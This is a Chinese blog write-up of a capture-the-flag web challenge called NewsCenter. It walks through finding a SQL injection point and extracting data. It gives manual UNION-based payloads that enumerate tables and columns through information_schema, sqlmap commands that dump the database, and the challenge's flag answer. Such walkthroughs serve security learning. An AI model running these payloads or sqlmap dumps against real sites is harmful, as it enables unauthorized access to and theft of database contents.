攻防世界 web高手进阶区 NewsCenter

本文详细介绍了如何检测和利用SQL注入漏洞,通过单引号判断法、数字型和字符型注入测试,展示了手工注入和使用sqlmap工具的过程。内容包括寻找突破口、判断注入点、爆库、表名、字段以及获取敏感信息。最后,给出了使用sqlmap进行自动化注入的命令示例。
摘要由CSDN通过智能技术生成

一、分析

进入页面,看见了一个网站,看看源代码,网页内容,寻找突破口,可以用御剑进行目录扫描寻找突破口,进行测试发现没有突破口,尝试尝试sql注入。

二、步骤

1.测试是否存在sql注入

如何判断sql注入点

1单引号判断法

搜索框或URL尾端加 ’ 如果报错则可能存在sql注入漏洞,因为字符型or整型都会因为单引号个数不匹配而报错
2,数字型判断是否有注入
and 1=1           返回正确页面
and 1=2           返回错误页面
3,字符型判断是否有注入
‘ and ‘1’='1       返回正确页面
’ and '1'='2        返回错误页面

单引号判断,可以在搜索框中输入',也可以在url末尾添加注意这里要以post提交,why?查看初始页面源代码可以发现

 

已经知道存在sql注入,可以运用工具sqlmap。也可以手工注入

手工注入:

1,构造payload:1' order by 3#,之前为1,2,3页面回显正常,当为4的时候页面报错,说明有三列数据

 

2.构造payload:1' union select 1,2,3# 爆出注入在哪两列数据

3.注入点在2,3.构造payload:1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# 爆出表名

 4.构造payload:1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='secret_table'# 爆字段

 5.构造payload:' union select 1,2,group_concat(id,0x3a,fl4g) from secret_table# 爆flag

flag:QCTF{sq1_inJec7ion_ezzz}

sqlmap:

bp抓包保存为1.txt,放到kali root目录下

执行命令:sqlmap -r "1.txt" 爆出信息

爆出库名,和用户名:sqlmap -r "1.txt" --current-db --current-user

爆出表名:sqlmap -r "1.txt" --tables -D "news"

爆字段:sqlmap -r "1.txt" --columns -D "news" -T "secret_table"

爆flag:sqlmap -r 1.txt -D "news" -T "secret_table"  -C "fl4g" --dump

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值